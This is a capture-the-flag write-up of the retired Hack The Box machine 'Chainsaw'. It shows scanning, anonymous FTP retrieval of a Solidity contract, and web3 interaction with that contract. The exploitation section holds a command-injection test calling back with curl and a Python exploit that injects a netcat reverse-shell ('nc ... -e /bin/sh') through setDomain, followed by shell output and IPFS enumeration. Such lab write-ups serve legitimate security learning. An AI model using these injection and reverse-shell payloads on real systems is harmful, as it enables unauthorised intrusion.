Hack The Box - Chainsaw

Quick Summary

Hey guys, today Chainsaw retired and here’s my write-up about it. It was a great machine with vulnerable smart contracts and other fun stuff. I enjoyed it and I learned a lot while solving it. It’s a Linux box and its ip is 10.10.10.142, I added it to /etc/hosts as chainsaw.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -sV -sT -sC -o nmapinitial chainsaw.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 18:34 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (1.2s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json
| -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol
|_-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.xx.xx
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)
| 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)
|_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 394.56 seconds
root@kali:~/Desktop/HTB/boxes/chainsaw#

We got ssh on port 22 and ftp on port 21.

FTP

Anonymous authentication was allowed on the ftp server, so let’s check what’s in there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@kali:~/Desktop/HTB/boxes/chainsaw# ftp chainsaw.htb 
Connected to chainsaw.htb.
220 (vsFTPd 3.0.3)
Name (chainsaw.htb:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json
-rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol
-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt
226 Directory send OK.
ftp> mget *
mget WeaponizedPing.json? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for WeaponizedPing.json (23828 bytes).
226 Transfer complete.
23828 bytes received in 0.26 secs (88.2424 kB/s)
mget WeaponizedPing.sol? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for WeaponizedPing.sol (243 bytes).
226 Transfer complete.
243 bytes received in 0.00 secs (2.3174 MB/s)
mget address.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for address.txt (44 bytes).
226 Transfer complete.
44 bytes received in 0.00 secs (421.2623 kB/s)
ftp> exit
221 Goodbye.
root@kali:~/Desktop/HTB/boxes/chainsaw#

WeaponizedPing.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.24;

contract WeaponizedPing
{
string store = "google.com";

function getDomain() public view returns (string)
{
return store;
}

function setDomain(string _value) public
{
store = _value;
}
}

WeaponizedPing.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
{
"contractName": "WeaponizedPing",
"abi": [
{
"constant": true,
"inputs": [],
"name": "getDomain",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_value",
"type": "string"
}
],
"name": "setDomain",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}
],
"bytecode": "0x60806040526040805190810160405280600a81526020017f676f6f676c652e636f6d000000000000000000000000000000000000000000008152506000908051906020019061004f929190610062565b5034801561005c57600080fd5b50610107565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100a357805160ff19168380011785556100d1565b828001600101855582156100d1579182015b828111156100d05782518255916020019190600101906100b5565b5b5090506100de91906100e2565b5090565b61010491905b808211156101005760008160009055506001016100e8565b5090565b90565b6102d7806101166000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029",
"deployedBytecode": "0x60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029",
"sourceMap": "27:210:1:-;;;56:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;27:210;8:9:-1;5:2;;;30:1;27;20:12;5:2;27:210:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;",
"deployedSourceMap": "27:210:1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;;8:9:-1;5:2;;;30:1;27;20:12;5:2;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;166:68;;8:9:-1;5:2;;;30:1;27;20:12;5:2;166:68:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;130:6;153:5;146:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;:::o;166:68::-;223:6;215:5;:14;;;;;;;;;;;;:::i;:::-;;166:68;:::o;27:210::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o",
"source": "pragma solidity ^0.4.24;\n\n\ncontract WeaponizedPing {\n\n string store = \"google.com\";\n\n function getDomain() public view returns (string) {\n return store;\n }\n function setDomain(string _value) public {\n store = _value;\n }\n\n}\n\n",
"sourcePath": "/opt/WeaponizedPing/WeaponizedPing.sol",
"ast": {
"absolutePath": "/opt/WeaponizedPing/WeaponizedPing.sol",
"exportedSymbols": {
"WeaponizedPing": [
80
]
},
----------
Redacted
----------
"networks": {
"1543936419890": {
"events": {},
"links": {},
"address": "0xaf6ce61d342b48cc992820a154fe0f533e5e487c",
"transactionHash": "0x5e94c662f1048fca58c07e16506f1636391f757b07c1b6bb6fbb4380769e99e1"
}
},
"schemaVersion": "2.0.1",
"updatedAt": "2018-12-04T15:24:57.205Z"
}

address.txt:

1
0x479C21df57F2deaB052C466E4de7E82539F6A988

WeaponizedPing: Analysis

WeaponizedPing is a smart contract. smart contracts are written in a language called solidity.

The contract has a variable called store which holds the value google.com by default:

1
string store = "google.com";

There are two functions, getDomain() which returns the value of store:

1
2
3
4
function getDomain() public view returns (string) 
{
return store;
}

And setDomain() which takes a string and changes the value of store from whatever it was to that string:

1
2
3
4
function setDomain(string _value) public 
{
store = _value;
}

From the name of the contract (WeaponizedPing), I assumed that ping gets executed on store. We can control store by calling setDomain(), if the ping command doesn’t get filtered we’ll be able to inject commands and get RCE. However to do all of that we need to be able to interact with the contract in the first place.

WeaponizedPing: Interaction

Assuming that the contract is deployed on a publicly exposed ethereum node, I ran a full nmap scan to find the port on which the server is running:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p- -T5 chainsaw.htb --max-retries 1 -o nmapfull
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:08 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (2.8s latency).
Not shown: 37555 closed ports, 27977 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
9810/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 674.00 seconds
root@kali:~/Desktop/HTB/boxes/chainsaw#

I found another open port (9810), I ran a service scan on that port:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p 9810 -sV -sT -sC -o nmap9810 chainsaw.htb                                                                                                                          
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:24 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (1.7s latency).

PORT STATE SERVICE VERSION
9810/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:25:01 GMT
| Connection: close
| Request
| GetRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:24:27 GMT
| Connection: close
| Request
| HTTPOptions:
| HTTP/1.1 200 OK
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:24:30 GMT
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9810-TCP:V=7.70%I=7%D=11/22%Time=5DD819CA%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nAccess-Control-All
SF:ow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Type,\x20Accept,
SF:\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-
SF:Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDate:\x20Fri,\x2
SF:022\x20Nov\x202019\x2017:24:27\x20GMT\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(HTTPOptions,100,"HTTP/1\.1\x20200\x20OK\r\nAcce
SF:ss-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Ty
SF:pe,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nA
SF:ccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDa
SF:te:\x20Fri,\x2022\x20Nov\x202019\x2017:24:30\x20GMT\r\nConnection:\x20c
SF:lose\r\n\r\n")%r(FourOhFourRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nAccess-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x2
SF:0Content-Type,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:
SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/
SF:plain\r\nDate:\x20Fri,\x2022\x20Nov\x202019\x2017:25:01\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\n400\x20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 90.55 seconds
root@kali:~/Desktop/HTB/boxes/chainsaw#

It responded to HTTP requests which means that the JSON-RPC server is HTTP based.
There are a lot of ways to interact with ethereum smart contracts, I used web3 python library. (A great reference)
I imported Web3 and eth:

1
from web3 import Web3, eth

Then I created a new web3 connection to http://chainsaw.htb:9810 and saved it in a variable called w3:

1
w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))

To interact with the smart contract we need two things:

  • The address of the contract: we got the address earlier from the ftp server (Note: that address changes everytime the box is reset).
  • The ABI (Application Binary Interface) of the contract: We can get it from the contract source.

To get the ABI I used the solidity IDE to compile the contract then I clicked on “Details” and copied the ABI:

I saved it in a file (ABI.txt) then I executed echo -n on cat ABI.txt to make it a single line:

1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# echo -n `cat ABI.txt`
[ { "constant": true, "inputs": [], "name": "getDomain", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setDomain", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]
root@kali:~/Desktop/HTB/boxes/chainsaw#

I saved the ABI and the address in variables:

1
2
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"

Then I finally created the contract representation and saved it in the variable contract:

1
contract = w3.eth.contract(address=address, abi=abi)

By using the functions property we can call any function that the contract has, let’s call the function getDomain():

1
print(contract.functions.getDomain().call())

Final test.py looks like this:

1
2
3
4
5
6
7
8
9
#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
print(contract.functions.getDomain().call())

Let’s run it:

1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py 
google.com
root@kali:~/Desktop/HTB/boxes/chainsaw#

It’s working fine, let’s try to change the domain by using setDomain():

1
contract.functions.setDomain("test").transact()

Note: When passing arguments to functions we have to use transact() instead of call(), to use transact() we need an account, that’s why I added this line:

1
w3.eth.defaultAccount = w3.eth.accounts[0]

test.py:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
w3.eth.defaultAccount = w3.eth.accounts[0]
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
contract.functions.setDomain("test").transact()
print(contract.functions.getDomain().call())
1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py 
test
root@kali:~/Desktop/HTB/boxes/chainsaw#

Great, now for the exploitation part.

WeaponizedPing: Exploitation

Let’s try to inject commands in the domain name and see if it’ll work, I injected a curl command and I ran a python server on port 80:

1
contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact()

test.py:

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
w3.eth.defaultAccount = w3.eth.accounts[0]
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact()
print(contract.functions.getDomain().call())
1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py 
test; curl http://10.10.xx.xx/
root@kali:~/Desktop/HTB/boxes/chainsaw#

After a few seconds I got a request:

1
2
3
root@kali:~/Desktop/HTB/boxes/chainsaw# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.142 - - [22/Nov/2019 20:59:23] "GET / HTTP/1.1" 200 -

Based on these tests I wrote this small exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3
import json
from web3 import Web3, eth
from sys import argv

YELLOW = "\033[93m"
GREEN = "\033[32m"

def exploit(address, ip, port):
print(YELLOW + "[+] Starting")
print(YELLOW + "[+] Connecting to chainsaw.htb:9810")
w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
print(GREEN + "[*] Connection Established")
w3.eth.defaultAccount = w3.eth.accounts[0]
print(YELLOW + "[+] Creating the contract representation")
print(YELLOW + "[+] Address: {}".format(address))
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
contract = w3.eth.contract(address=address, abi=abi)
print(GREEN + "[*] Done")
print(YELLOW + "[+] Injecting Reverse Shell:")
print(YELLOW + " [!] IP: {}".format(ip))
print(YELLOW + " [!] PORT: {}".format(port))
contract.functions.setDomain("pwn3d;nc {} {} -e /bin/sh".format(ip,port)).transact()
print(GREEN + "[*] Domain Changed Successfully, New Value: " + contract.functions.getDomain().call())
print(GREEN + "[*] Now wait for your reverse shell, Exiting...")
exit()

if len(argv) != 4 or argv[1] == "-h":
print(YELLOW + "[!] Usage: {} [contract address] [ip] [port]".format(argv[0]))
exit()
else:
address = argv[1]
ip = argv[2]
port = argv[3]
exploit(address, ip, port)

I listened on port 1337 and ran the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/Desktop/HTB/boxes/chainsaw# ./exploit.py 0x479C21df57F2deaB052C466E4de7E82539F6A988 10.10.xx.xx 1337
[+] Starting
[+] Connecting to chainsaw.htb:9810
[*] Connection Established
[+] Creating the contract representation
[+] Address: 0x479C21df57F2deaB052C466E4de7E82539F6A988
[*] Done
[+] Injecting Reverse Shell:
[!] IP: 10.10.xx.xx
[!] PORT: 1337
[*] Domain Changed Successfully, New Value: pwn3d;nc 10.10.xx.xx 1337 -e /bin/sh
[*] Now wait for your reverse shell, Exiting...
root@kali:~/Desktop/HTB/boxes/chainsaw#

And I got a shell immediately as a user called administrator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.142.
Ncat: Connection from 10.10.10.142:49262.
whoami
administrator
which python
/usr/bin/python
python -c "import pty;pty.spawn('/bin/bash')"
administrator@chainsaw:/opt/WeaponizedPing$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/chainsaw# stty raw -echo
root@kali:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337

administrator@chainsaw:/opt/WeaponizedPing$ export TERM=screen
administrator@chainsaw:/opt/WeaponizedPing$

ipfs –> SSH as bobby –> User Flag

There were 2 users on the box, administrator and bobby:

1
2
3
4
5
6
7
8
administrator@chainsaw:/opt/WeaponizedPing$ cd /home
administrator@chainsaw:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Dec 12 2018 .
drwxr-xr-x 25 root root 4096 Dec 20 2018 ..
drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 administrator
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 bobby
administrator@chainsaw:/home$

administrator had no permission to access bobby‘s home directory:

1
2
3
administrator@chainsaw:/home$ cd bobby/
bash: cd: bobby/: Permission denied
administrator@chainsaw:/home$

In administrator‘s home directory I noticed a directory called .ipfs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
administrator@chainsaw:/home$ cd administrator/
administrator@chainsaw:/home/administrator$ ls -la
total 104
drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null
-rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout
-rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc
-rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv
drwxrwxr-x 5 administrator administrator 4096 Jan 23 2019 .ipfs
drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local
drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2
-rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt
-rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf
-rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null
-rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc
administrator@chainsaw:/home/administrator$

The InterPlanetary File System (IPFS) is a protocol and peer-to-peer network for storing and sharing data in a distributed file system. IPFS uses content-addressing to uniquely identify each file in a global namespace connecting all computing devices. -Wikipedia

Take a look at the cli documentation.
I used ip refs local to list the local references:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
administrator@chainsaw:/home/administrator$ ipfs refs local
QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y
QmPctBY8tq2TpPufHuQUbe2sCxoy2wD5YRB6kdce35ZwAx
QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB
QmdL9t1YP99v4a2wyXFYAQJtbD9zKnPrugFLQWXBXb82sn
QmSKboVigcD3AY4kLsob117KJcMHvMUu6vNFqk1PQzYUpp
QmUHHbX4N8tUNyXFK9jNfgpFFddGgpn72CF1JyNnZNeVVn
QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1
QmWSLAHhiNVRMFMv4bnE7fqq9E74RtXTRm9E1QVo37GV9t
QmPjsarLFBcY8seiv3rpUZ2aTyauPF3Xu3kQm56iD6mdcq
QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri
QmdfTbBqBPQ7VNxZEYEj14VmRuZBkqFbiwReogJgS1zR1n
QmfRZWFfaugHeY5gcgNDrnRkxhPT3epmHodryPYK3it6kk
QmZTR5bcpQD7cFgTorqxZDYaew1Wqgfbd2ud9QqGPAkK2V
QmejvEPop4D7YUadeGqYWmZxHhLc4JBUCzJJHWMzdcMe2y
QmbkQxbErC7KSWzSQw2FC13LUm9Rbo2XjeFQZbcmdarpuz
QmPpsT37SpTbZkAeMz7LXiJ8nQseBNziGBzpW1YtM67qx6
QmXWS8VFBxJPsxhF8KEqN1VpZf52DPhLswcXpxEDzF5DWC
QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp
Qmb7oGTxge7amSArtJsGUAqswY8y1G7m5QNjV57Nj5sEHU
QmS4ustL54uo8FzR9455qaxZwuMiUhyvMcX9Ba8nUH4uVv
QmXymZCHdTHz5BA5ugv9MQTBtQAb6Vit4iFeEnuRj6Udrh
QmUNLLsPACCz1vLxQVkXqqLX5R1X345qqfHbsf67hvA3Nn
Qma6kDKzUzFioo62v4LZaNsrwmCojF9AqwLaQJubRFnsAa
QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me
QmXgqKTbzdh83pQtKFb19SpMCpDDcKR2ujqk3pKph9aCNF
QmYn3NxLLYA6xU2XL1QJfCZec4B7MpFNxVVtDvqbiZCFG8
QmWMuEvh2tGJ1DiNPPoN6rXme2jMYUixjxsC6QUji8mop8
QmY5heUM5qgRubMDD1og9fhCPA6QdkMp3QCwd4s7gJsyE7
QmQ5vhrL7uv6tuoN9KeVBwd4PwfQkXdVVmDLUZuTNxqgvm
QmZMUdskS6vK8ycBiAffrYAE4wUDuWX9eK7kNgQqPCGbwF
QmPC3ZbrMeZ8BpstpNseNV4fCRL4QDzUKrSv8EHkarbn7r
QmPhk6cJkRcFfZCdYam4c9MKYjFG9V29LswUnbrFNhtk2S
QmSyJKw6U6NaXupYqMLbEbpCdsaYR5qiNGRHjLKcmZV17r
QmZZRTyhDpL5Jgift1cHbAhexeE1m2Hw8x8g7rTcPahDvo
QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS
QmcMCDdN1qDaa2vaN654nA4Jzr6Zv9yGSBjKPk26iFJJ4M
QmPZ9gcCEpqKTo6aq61g2nXGUhM4iCL3ewB6LDXZCtioEB
Qmc7rLAhEh17UpguAsEyS4yfmAbeqSeSEz4mZZRNcW52vV
administrator@chainsaw:/home/administrator$

I used ipfs ls on every hash to list the contents, most of them were empty or useless except for this one which had some email messages:

1
2
3
4
5
6
7
administrator@chainsaw:/home/administrator$ ipfs ls QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri
QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB 10063 artichain600-protonmail-2018-12-13T20_50_58+01_00.eml
QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF 4640 bobbyaxelrod600-protonmail-2018-12-13-T20_28_54+01_00.eml
QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp 10084 bryanconnerty600-protonmail-2018-12-13T20_50_36+01_00.eml
